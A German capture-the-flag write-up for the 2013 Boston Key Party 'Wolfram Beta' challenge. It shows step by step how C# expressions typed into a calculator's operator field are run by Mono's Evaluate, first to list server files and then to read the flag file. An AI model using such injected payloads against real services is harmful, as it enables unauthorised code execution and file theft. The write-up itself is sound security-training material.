Diese Challenge (Wolfram Beta) verlangt, dass wir aus einem Berechnungsdienst ausbrechen und die Flagge auslesen. Dieser Dienst soll unter der angegebenen IP-Adresse lauschen, was wir sofort überprüfen.
rup0rt@lambda:~/BostonKeyParty2013$ nc 54.218.12.97 34567 Wolfram Beta - BkP CTF 2013 Team Wolfram Beta is a great calculator. just put in a number at the prompt then put in the operator then finally the second number and the calculation will be done INSTANTLY no accounts necessacary, unlike some of our competition! first num: 1 operator: + second num: 2 Thinking... . Done Thinking! 3
Der Rechner fordert uns also zur Eingabe von zwei Zahlen und einem Operator auf. Nach einer Denkphase, die wohl auf Wolfram Alpha anspielen soll, wird uns das Ergebnis ausgegeben.
Beim Versuch anstatt der Zahlen Buchstaben oder Sonderzeichen zu übergeben, wird die Verbindung sofort mit einem entsprechenden Verbot abgebrochen. Der Operator jedoch lässt sich nach einigen Versuchen so manipulieren, dass eine Fehlerausgabe erscheint:
first num: 1
operator: +asfetrrr
second num: 2
Thinking...
.
Done Thinking!
{interactive}(1,14): error CS0119: Expression denotes a `type', where a `method group' was expected
Unhandled Exception: System.ArgumentException: The expression did not set a result
at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
[ERROR] FATAL UNHANDLED EXCEPTION: System.ArgumentException: The expression did not set a result
at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
Wir erkennen, dass es sich um ein C#-Programm (Csharp) handelt. Außerdem wird MONO verwendet, also die Linux-Variante von C#. Zur Auswertung des übergebenen Ausdrucks wird die Evaluate-Funktion aufgerufen. Damit könnte es also möglich sein, einen Operator zu übergeben, der testweise Zeichenketten konkateniert.
first num: 1 operator: +"test"+ second num: 2 Thinking... Done Thinking! 1test2
Wenn sich als Operator Zeichenketten einfügen lassen, dann sollten sich hier auch Funktionen, die Strings zurückliefern, einbinden lassen. Die Suche im Internet führt zur C#-Funktion Directory.GetFiles(), die uns über folgenden Aufruf, den Verzeichnisinhalt auflisten sollte:
first num: 1 operator: +string.Join(",", System.IO.Directory.GetFiles(@"."))+ second num: 2 Thinking... ..... Done Thinking! 1./.bash_history,./.bash_logout,./.bashrc,./.profile,./flag2
Demnach gibt es im aktuellen Verzeichnis also eine Datei namens “flag”. Diese wollen wir nun auslesen. Dazu suchen wir erneut nach Möglichkeiten und finden die C#-Funktion StreamReader.ReadToEnd(), die wir wie folgt aufrufen:
first num: 1 operator: +new System.IO.StreamReader(@"./flag").ReadToEnd()+ second num: 2 Thinking... Done Thinking! 1at_least_its_not_a_python_jail 2
Auch das war hier erfolgreich und wir konnten die Flagge erhalten!
Die Lösung lautet “at_least_its_not_a_python_jail“.